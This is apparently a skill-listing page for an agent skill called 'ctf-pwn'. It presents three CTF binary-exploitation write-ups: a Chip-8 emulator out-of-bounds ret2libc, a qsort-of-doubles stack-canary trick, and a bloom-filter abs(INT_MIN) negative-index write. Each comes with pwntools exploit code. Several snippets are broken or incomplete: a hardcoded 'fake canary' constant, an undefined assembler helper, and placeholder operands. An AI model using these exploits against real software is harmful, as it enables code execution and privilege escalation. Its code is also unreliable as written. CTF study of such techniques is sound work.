Chip-8 Emulator Out-of-Bounds Memory for ret2libc (IceCTF 2018)
Pattern: A SUID Chip-8 emulator executes untrusted guest bytecode. Guest memory is nominally 4 KB but the I register is 16 bits, and the emulator's LD [I], Vx / LD Vx, [I] opcodes perform no bounds check. The guest writes 16-bit offsets that reach past mem[4096] into the host stack, leaking a libc return address and then overwriting the saved RIP with a one-gadget.
; Chip-8 pseudo-assembly: read 8 bytes from host stack offset 6360
ANNN ; LD I, 0x18D8 (6360 — tuned from a gdb run)
F865 ; LD V0..V7, [I] (libc address now in V0..V7)
; Print hex or send back via the emulator's debug channel# Host-side exploit driver
from pwn import *
elf = ELF("./chip8")
libc = ELF("./libc.so.6")
# 1. Build a program that reads 8 bytes at offset 6360, then writes the
# one-gadget RIP back to the same offset.
one_gadget = libc.address + 0x45226
prog = asm_chip8([
("LD I", 0x18D8),
("LD V0..V7, [I]", None), # V0..V7 = leaked libc pointer
# Derive libc base (subtract known offset) and rewrite RIP:
("XOR Vx, <delta>", None),
("LD I", 0x18D8),
("LD [I], V0..V7", None),
])
io = process(["./chip8", prog])
io.interactive()Key insight: Emulators that expose a narrower address space than their register file invite bounds-check gaps. Any time a "small" memory buffer is addressed by a wider register, the bytes beyond the declared buffer are the real target. On Linux this usually lands you in libc first (stack saved registers, then __libc_start_main return). The trick is calibrating the offset once in gdb; the rest is regular ret2libc with the emulator as an arbitrary-read/write primitive.
References: IceCTF 2018 — Twitter, writeup 11047
---
Double-Precision Float Quicksort Canary Repositioning (CSAW 2018)
Pattern: The vulnerable program reads an array of double values from the user, runs qsort, then prints the sorted floats. Return address and stack canary live in the same frame reinterpreted as doubles. Because qsort orders the entire frame by IEEE-754 value, an attacker picks input floats whose bit patterns land the correct canary back in the canary slot after the sort — while overwriting the saved RIP slot with a crafted float that re-interprets as a valid win-function address.
from pwn import *
import struct
def f2u(d): # double → raw bytes
return struct.pack("<d", d)
def u2f(b): # raw bytes → double
return struct.unpack("<d", b)[0]
win = 0x400837 # win-function address
canary_d = u2f(p64(0xDEADBEEFCAFEBABE)) # canary bytes interpreted as double
# Inputs chosen so that post-qsort order places:
# slot 0 → fake canary (same bits as the real one)
# slot 1 → win()/ret gadget value
payload = [
canary_d,
u2f(p64(win).ljust(8, b"\x00")),
-1.1, # padding
-20.1, # padding
]
io = process("./doubletrouble")
io.sendline(" ".join(repr(x) for x in payload))
io.interactive()Key insight: When a program reinterprets the stack frame as numeric data and sorts it, the attacker no longer needs a write primitive — the sort itself is the write. Pick floats whose IEEE-754 representation collides with the target bit pattern (canary, return address, saved RBP), then arrange them so the sort order moves them into place. Works against stack canaries because the original canary is already in the frame; you just need to stuff an identical double in another slot and let the sort re-seat it.
References: CSAW CTF Qualification Round 2018 — doubletrouble, writeups 11201, 11213, 11220
---
Bloom Filter abs(INT_MIN) Negative Index OOB Write (DragonCTF Teaser 2018)
Pattern: A bloom filter computes bits[abs(hash) % size] to mark entries. abs(INT_MIN) is undefined in C and glibc returns INT_MIN unchanged, so abs(INT_MIN) % 62 == -2. Because size is 62 and the bits array is immediately followed by a linked_lists array in BSS, the -2 index resolves to a controlled write into the linked-list metadata, hijacking a function pointer that the next allocator call will dereference.
// Vulnerable code
int idx = abs(key_hash) % BLOOM_SIZE;
bits[idx] = 1; // idx can be negative# Crafting the input so that hash(input) == INT_MIN (0x80000000).
# Many toy bloom filters use FNV-1a or multiplicative hashes; a short
# brute-force finds a colliding prefix in seconds.
from pwn import *
def fnv1a(data):
h = 0x811c9dc5
for b in data:
h ^= b
h = (h * 0x01000193) & 0xFFFFFFFF
return h
for i in range(1 << 32):
s = f"{i:x}".encode()
if fnv1a(s) == 0x80000000:
print("collide", s); breakKey insight: The attack surface is not the bloom filter itself but the two-line composition abs() % size. abs(INT_MIN) returns INT_MIN (undefined behaviour but consistent on x86-64 glibc), so the modulo preserves the sign and indexes backwards through the array. Any adjacent struct in BSS with a function pointer near offset -2 becomes a write-what-where. Mitigate with (unsigned)hash % size or hash & (size-1) for power-of-two sizes.
References: DragonCTF Teaser 2018 — Fast Storage, writeup 11460
Related skills
How it compares
Pick ctf-pwn over general security checklists when the goal is hands-on binary exploitation and CTF-style memory-corruption chains rather than application-layer hardening.
FAQ
What does ctf-pwn do?
Provides binary exploitation techniques for CTF challenges. Use when you already have a vulnerable native target or service and need to turn memory corruption or low-level primitives into code execution or privilege esca
When should I invoke ctf-pwn?
Provides binary exploitation techniques for CTF challenges. Use when you already have a vulnerable native target or service and need to turn memory corruption or low-level primitives into code execution or privilege esca
Where is the source documentation?
Ground claims in SKILL.md excerpts and linked reference files from the cached docs.
Is Ctf Pwn safe to install?
skills.sh reports 1 of 3 security scanners passed. Review the Security Audits panel on this page before installing in production.